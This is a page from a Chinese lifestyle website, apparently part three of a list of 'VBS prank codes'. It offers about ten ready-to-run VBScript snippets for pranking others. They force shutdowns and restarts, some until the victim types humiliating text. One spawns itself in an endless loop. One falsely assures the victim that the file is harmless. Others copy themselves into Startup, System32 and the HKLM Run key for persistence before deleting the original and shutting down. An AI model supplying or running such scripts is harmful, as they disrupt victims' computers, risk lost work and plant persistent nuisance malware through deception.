江苏龙网

  1. 主页 > 生活百科 > >

三十二个vbs整蛊代码 整人代码大全( 三 )

复制代码代码如下:
dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"复制代码代码如下:
do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop复制代码代码如下:
msgbox"此文件无毒，请放心应用 。",vbretrycancel,"体系提醒 。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc，否则关机 。") if a="abc" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！" exit do else msgbox"乖点，输入abc" end if loop复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "复制代码代码如下:
msgbox"你是不是很无聊啊？",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的预备吧！" do msgbox"你无聊吗?",vbinformation,"你无聊吗？" loop复制代码代码如下:
on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p",vbhide 这个太可恶了 只好重启复制代码代码如下:
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop复制代码代码如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true复制代码代码如下:
set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c资源网 ""喊我声爹，快喊"" ",0 ,true dim a do while(a <> "爹") a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "儿子" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"


推荐阅读


上一篇：猫眼电影余额在哪里查 猫眼电影怎么退票退款?

下一篇：全球面积排名前三的城市 世界城市面积排名